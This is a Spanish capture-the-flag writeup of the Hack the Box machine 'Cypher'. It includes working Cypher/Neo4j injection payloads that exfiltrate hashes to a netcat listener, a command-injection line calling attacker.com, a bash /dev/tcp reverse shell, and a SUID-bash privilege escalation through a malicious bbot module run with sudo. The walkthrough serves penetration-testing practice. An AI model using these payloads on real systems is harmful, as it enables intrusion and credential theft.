Page cover

🟠Cypher

En esta ocasión vamos a hacer el writeup de la máquina Cypher de Hack the Box, una máquina Linux de dificultad easy.

Información General

  • Nombre de la máquina: Cypher

  • IP: 10.10.11.57

  • Sistema operativo: Linux

  • Dificultad: 🟡 Media

  • Fecha: 01-06-2025


Reconocimiento Inicial

Añadimos la IP al /etc/hosts

sudo echo "10.10.11.57 cypher.htb" | sudo tee -a /etc/hosts

Acceso Web

Accedemos a http://cypher.htb y observamos que parece ser una web que ofrece una solución de gestión de la superficie de ataque con IA:

Al darle a Free Demo nos redirige al login:


Escaneo de Puertos

sudo nmap -v -sV -T5 10.10.11.57
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Solo encontramos puertos comunes (22 y 80) abiertos. Nos centraremos en el servicio web.


Enumeración Web

Fuzzing de Directorios

gobuster dir -u http://cypher.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cypher.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 200) [Size: 4986]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/demo                 (Status: 307) [Size: 0] [--> /login]
/index                (Status: 200) [Size: 4562]
/index.html           (Status: 200) [Size: 4562]
/login                (Status: 200) [Size: 3671]
/testing              (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Directorios interesantes encontrados:

  • /api (307)

  • /demo (307)

  • /testing (301) - Directorio curioso

Directorio Testing

Accedemos a testing y encontramos un snapshot.jar:

Nos lo descargamos y lo extraemos para analizarlo.

cd custom-apoc-extension-1.0-SNAPSHOT 

tree .                 
.
├── com
│   └── cypher
│       └── neo4j
│           └── apoc
│               ├── CustomFunctions$StringOutput.class
│               ├── CustomFunctions.class
│               ├── HelloWorldProcedure$HelloWorldOutput.class
│               └── HelloWorldProcedure.class
└── META-INF
    ├── MANIFEST.MF
    └── maven
        └── com.cypher.neo4j
            └── custom-apoc-extension
                ├── pom.properties
                └── pom.xml

9 directories, 7 files

Lo decompilamos para ver el código. Podemos utilizar la siguiente web:

Vemos 2 archivos principales, un HelloWorld que no contiene nada relevante y CustomFunctions que contiene código muy interesante:

public class CustomFunctions {
   @Procedure(
      name = "custom.getUrlStatusCode",
      mode = Mode.READ
   )
   @Description("Returns the HTTP status code for the given URL as a string")
   public Stream<CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
      if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
         url = "https://" + url;
      }

      String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
      System.out.println("Command: " + Arrays.toString(command));
      Process process = Runtime.getRuntime().exec(command);
      BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
      BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
      StringBuilder errorOutput = new StringBuilder();

Este código confirma un command injection.

  1. Normaliza la URL (añade https:// si no está presente).

  2. Construye un comando con concatenación de strings:

String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
  1. Lo ejecuta con:

Runtime.getRuntime().exec(command);

Usar Runtime.getRuntime().exec(String[]) con entrada del usuario sin sanitizar permite Command Injection.

La siguiente línea:

String[] command = new String[]{"/bin/sh", "-c", "curl ... " + url};

pasa toda la entrada del usuario directamente a la shell (sh -c), lo cual es un patrón clásico de vulnerabilidad si no se escapan ni validan los parámetros.

✅ Ejemplo de payload malicioso:

CALL custom.getUrlStatusCode("http://example.com; curl http://attacker.com/`whoami`")

Este payload ejecutaría:

/bin/sh -c "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} http://example.com; curl http://attacker.com/`whoami`"

Esto hace que se ejecute un segundo curl que envía la salida de whoami a un servidor controlado por el atacante.


Testing web

Capturamos el request de login con BurpSuite y vemos que los datos se envían como un JSON a través de la api:

POST /api/auth HTTP/1.1

Host: cypher.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

X-Requested-With: XMLHttpRequest

Content-Length: 39

Origin: http://cypher.htb

DNT: 1

Connection: keep-alive

Referer: http://cypher.htb/login

Priority: u=0



{"username":"admin","password":"admin"}

Probando alguna inyección SQL nos devuelve un error en el front que nos indica la presencia de una base de datos cypher de neo4j:

Est confirma una inyección de Cypher (Neo4j) en el backend. El backend construye las consultas Cypher dinámicamente con los valores que le envíamos, y no está sanitizando correctamente las comillas.

Captura de login

Al capturar un intento de login con BurpSuite observamos que los datos se envían como JSON, por lo que podríamos probar ahí el Command Injection:

Sabemos por el traceback que el backend construye una query similar a esta:

MATCH (u:USER)-[:SECRET]->(h:SHA1) WHERE u.name = '<username>' RETURN h.value AS hash

Nuestro objetivo es cerrar correctamente la condición u.name = '...', romper el flujo original, e inyectar nuestro CALL a custom.getUrlStatusCode() con un payload de RCE.

Enumerar versión

Usaremos el siguiente payload:

{

  "username": "' OR 1=1 WITH  1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://127.0.0.1/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // ",

  "password": "x"

}

Funciona! Obtenemos la versión de Neo4j y el tipo de Kernel community:

127.0.0.1/?version=5.24.1&name=Neo4j Kernel&edition=community

Enumerar los labels

{

  "username": "' OR 1=1 WITH 1 as a  CALL db.labels() yield label LOAD CSV FROM 'http://127.0.0.1/?l='+label as l RETURN 0 as _0 //",

  "password": "x"

}

Tenemos el label USER:

message: Cannot load from URL 'http://127.0.0.1/?l=USER': Redirect limit exceeded ()

Enumerar la propiedad USER

Vamos a cambiar un poco el enfoque. Abriremos un listener de Netcat para recibir los resultados:

nc -nlvp 4444

Y usaremos el siguiente payload:

{"username":"' OR 1=1 WITH 1 as a MATCH (f:USER) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.4:4444/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //","password":"x"}

Eso nos devuelve un nombre de usuario: graphasm

nc -nlvp 4444

listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.57] 50642
GET /?name=graphasm HTTP/1.1
User-Agent: NeoLoadCSV_Java/17.0.14+7-Ubuntu-124.04
Host: 10.10.14.4:4444
Accept: text/html, image/gif, image/jpeg, */*; q=0.2

Extracción de hashes

Usaremos el payload definitivo:

{

  "username": "' OR 1=1 WITH 1 as a MATCH (u:USER)-[:SECRET]->(h:SHA1) LOAD CSV FROM 'http://10.10.14.4:4444/?user='+u.name+'&hash='+h.value as l RETURN 0 as _0 //",

  "password": "x"

}

Y nos devuelve el hash del usuario:

nc -nlvp 4444

listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.57] 45448
GET /?user=graphasm&hash=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1

Este hash no se puede crackear fácilmente, por lo que modificaremos el payload para conseguir una reverse shell.

Reverse Shell

Abrimos un listener de Netcat por el puerto 4444

nc -nlvp 4444

listening on [any] 4444 ...

Payload

{
  "username": "' OR 1=1 WITH 1 as x CALL custom.getUrlStatusCode('http://127.0.0.1; bash -c \"bash -i >& /dev/tcp/10.10.14.4/4444 0>&1\"') YIELD statusCode RETURN x //",
  "password": "x"
}

Recibimos la shell

nc -nlvp 4444

listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.57] 51352
bash: cannot set terminal process group (1449): Inappropriate ioctl for device
bash: no job control in this shell

neo4j@cypher:/$ whoami
neo4j

Enumeración interna

Enumerando el objetivo no podemos acceder directamente a la user flag, ya que pertenece al usuario graphasm, pero en su directorio home encontramos unas credenciales:

neo4j@cypher:/$ cd /home

neo4j@cypher:/home$ ls
graphasm

neo4j@cypher:/home$ cd graphasm 
neo4j@cypher:/home/graphasm$ ls
bbot_preset.yml
user.txt

neo4j@cypher:/home/graphasm$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
cat bbot_preset.yml
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

User flag

Al probar las credenciales encontradas con el usuario graphasm por SSH conseguimos acceder!

afsh4ck@kali$ ssh graphasm@10.10.11.57
                
The authenticity of host '10.10.11.57 (10.10.11.57)' can't be established.
ED25519 key fingerprint is SHA256:u2MemzvhD6xY6z0eZp5B2G3vFuG+dPBlRFrZ66gaXZw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.57' (ED25519) to the list of known hosts.
graphasm@10.10.11.57's password: 

Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)
Last login: Sun Jun 1 13:34:51 2025 from 10.10.14.4

graphasm@cypher:~$ whoami                                                                                                                                             
graphasm

graphasm@cypher:~$ id
uid=1000(graphasm) gid=1000(graphasm) groups=1000(graphasm)

graphasm@cypher:~$ ls 
bbot_preset.yml  user.txt

graphasm@cypher:~$ cat user.txt 
7b9e5118acc395843ed098*********

Tenemos la user flag!


Escalada de Privilegios

Enumeración de Privilegios

graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

Vemos que este usuario graphasm puede ejecutar la herramienta de bbot, una conocida herramienta de OSINT y enumeración.

Usaremos el bbot_preset.yml que tenemos en el directorio home para realizar el escaneo:

graphasm@cypher:~$ cat bbot_preset.yml

targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

Se lo pasaremos a la herramienta de la siguiente manera:

graphasm@cypher:~$ bbot -p ./bbot_preset.yml 

En principio no obtenemos información relevante. La herramienta de Bbot permite construir módulos custom en python, con lo que podríamos modificarlo para convertirnos en root:

Crear exploit.yml

Necesitamos crear este archivo e incluir el nombre del módulo en python que modificaremos.

graphasm@cypher:~$ cd /tmp
graphasm@cypher:~$ nano exploit.yml
# exploit.yml
home: /tmp/bbot_home
module_dirs:
  - /tmp/bbot/modules

# Configuración básica
dns:
  disable: false

# Habilitar módulo whois
modules:
  - whois

# Configuración del módulo whois
whois:
  api_key: "cualquier_valor_vale_aqui"

Debemos crear la ruta /tmp/bbot/modules donde crearemos el módulo python modificado.

Crear whois.py malicioso

Modificaremos el ejemplo que nos da la documentación de Bbot:

whois.py
from bbot.modules.base import BaseModule

class whois(BaseModule):
    watched_events = ["DNS_NAME"] # watch for DNS_NAME events
    produced_events = ["WHOIS"] # we produce WHOIS events
    flags = ["passive", "safe"]
    meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
    options = {"api_key": ""} # module config options
    options_desc = {"api_key": "WhoisXMLAPI Key"}
    per_domain_only = True # only run once per domain

    base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"

    # one-time setup - runs at the beginning of the scan
    async def setup(self):
        self.api_key = self.config.get("api_key")
        if not self.api_key:
            # soft-fail if no API key is set
            return None, "Must set API key"

    async def handle_event(self, event):
        self.hugesuccess(f"Got {event} (event.data: {event.data})")
        _, domain = self.helpers.split_domain(event.data)
        url = f"{self.base_url}?apiKey={self.api_key}&domainName={domain}&outputFormat=JSON"
        self.hugeinfo(f"Visiting {url}")
        response = await self.helpers.request(url)
        if response is not None:
            await self.emit_event(response.json(), "WHOIS", parent=event)

Concretamente modificaremos el método setup() para conseguir el root, añadiendo las líneas:

import os # Al principio
os.system("cp /bin/bash /tmp/bash; chmod u+s /tmp/bash") # En setup()

Lo que hacemos con esto es que:

  • Copiamos el binario /bin/bash a /tmp

  • Con chmod u+s /tmp/bash establecemos el bit SUID (Set User ID) en el archivo /tmp/bash

whois.py
from bbot.modules.base import BaseModule
import os

class whois(BaseModule):
    watched_events = ["DNS_NAME"]  # watch for DNS_NAME events
    produced_events = ["WHOIS"]    # we produce WHOIS events
    flags = ["passive", "safe"]
    meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
    options = {"api_key": ""}      # module config options
    options_desc = {"api_key": "WhoisXMLAPI Key"}
    per_domain_only = True         # only run once per domain

    base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"

    # one-time setup - runs at the beginning of the scan
    async def setup(self):
        os.system("cp /bin/bash /tmp/bash; chmod u+s /tmp/bash")
        self.api_key = self.config.get("api_key")
        if not self.api_key:
            # soft-fail if no API key is set
            return None, "Must set API key"

    async def handle_event(self, event):
        self.hugesuccess(f"Got {event} (event.data: {event.data})")
        _, domain = self.helpers.split_domain(event.data)
        url = f"{self.base_url}?apikey={self.api_key}&domainName={domain}&outputFormat=JSON"
        self.hugeinfo(f"Visiting {url}")
        response = await self.helpers.request(url)
        if response is not None:
            await self.entityEvent(response.json(), "WHOIS", parent=event)

Ejecutamos el módulo malicioso

graphasm@cypher:/tmp/bbot/modules$ sudo bbot -p /tmp/exploit.yml -m whois

Comprobación de root

Accedemos a /tmp y observamos que se ha copiado correctamente el binario bash y se ejecuta como root:

graphasm@cypher:/tmp/bbot/modules$ cd /tmp

graphasm@cypher:/tmp/bbot/modules$ ls -la
total 2448
drwxrwxrwt 19 root     root       12288 Jun  1 14:22 .
drwxr-xr-x 22 root     root        4096 Feb 17 16:48 ..
-rwsr-xr-x  1 root     root     1446024 Jun  1 14:22 bash # Binario root
drwxrwxr-x  3 graphasm graphasm    4096 Jun  1 14:18 bbot

Lo ejecutamos con ./bash -p y nos convertimos en root:

graphasm@cypher:/tmp$ ./bash -p
bash-5.2# whoami
root
bash-5.2# id
uid=1000(graphasm) gid=1000(graphasm) euid=0(root) groups=1000(graphasm)

Root flag

bash-5.2# cd /root
bash-5.2# ls
root.txt
bash-5.2# cat root.txt
b7871832e006229aadda5b22********

Última actualización

¿Te fue útil?